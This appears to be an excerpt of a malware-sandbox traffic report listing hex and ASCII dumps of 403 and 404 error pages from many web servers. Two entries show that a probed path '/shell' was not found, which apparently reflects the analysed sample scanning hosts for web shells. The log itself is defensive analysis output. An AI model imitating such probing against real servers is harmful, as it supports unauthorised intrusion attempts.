Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:37:33 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Wed, 09 Mar 2022 13:37:35 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 10:12:43 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: MCP_VCLOUD_LIVEMcdId: 1Date: Wed, 09 Mar 2022 21:37:40 CSTContent-Type: text/htmlContent-Length: 47Connection: keep-aliveData Raw: 54 68 65 20 72 65 71 75 65 73 74 65 64 20 75 72 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e Data Ascii: The requested url was not found on this server.
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 09 Mar 2022 13:37:40 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: TengineDate: Wed, 09 Mar 2022 13:37:40 GMTContent-Type: text/htmlContent-Length: 238Connection: keep-aliveTiming-Allow-Origin: *EagleId: 78e94e9716468330609318890eData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 55 52 4c 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1><p>You don't have permission to access the URL on this server.<hr/>Powered by Tengine</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: MCP_VCLOUD_LIVEMcdId: 1Date: Wed, 09 Mar 2022 21:37:43 CSTContent-Type: text/htmlContent-Length: 47Connection: keep-aliveData Raw: 54 68 65 20 72 65 71 75 65 73 74 65 64 20 75 72 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e Data Ascii: The requested url was not found on this server.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3 (Ubuntu)Date: Wed, 09 Mar 2022 13:37:55 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 09 Mar 2022 13:37:55 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: webserverCache-Control: no-cacheDate: Wed, 09 Mar 2022 13:37:58 GMTContent-Type: text/htmlConnection: closeData Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:01 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Mar 2022 13:38:01 GMTServer: ApacheContent-Length: 41Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 68 32 3e 45 72 72 6f 72 3c 2f 68 32 3e 3c 62 72 3e 3c 68 33 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 33 3e Data Ascii: <h2>Error</h2><br><h3>Page Not Found</h3>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:01 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Mar 2022 13:38:01 GMTServer: Apache/2.2.22 (Debian)Vary: Accept-EncodingContent-Length: 278Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 32 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.2.22 (Debian) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.1Date: Wed, 09 Mar 2022 13:38:01 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.1</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:01 GMTContent-Type: text/html; charset=utf-8Content-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Mar 2022 13:38:01 GMTServer: ApacheContent-Length: 322Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3 (Ubuntu)Date: Wed, 09 Mar 2022 13:38:08 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:08 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Wed, 09 Mar 2022 13:38:08 GMTContent-Type: text/html; charset=UTF-8Content-Length: 166Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:06 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:11 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 21:38:12 GMTContent-Type: text/htmlContent-Length: 566Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:14 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
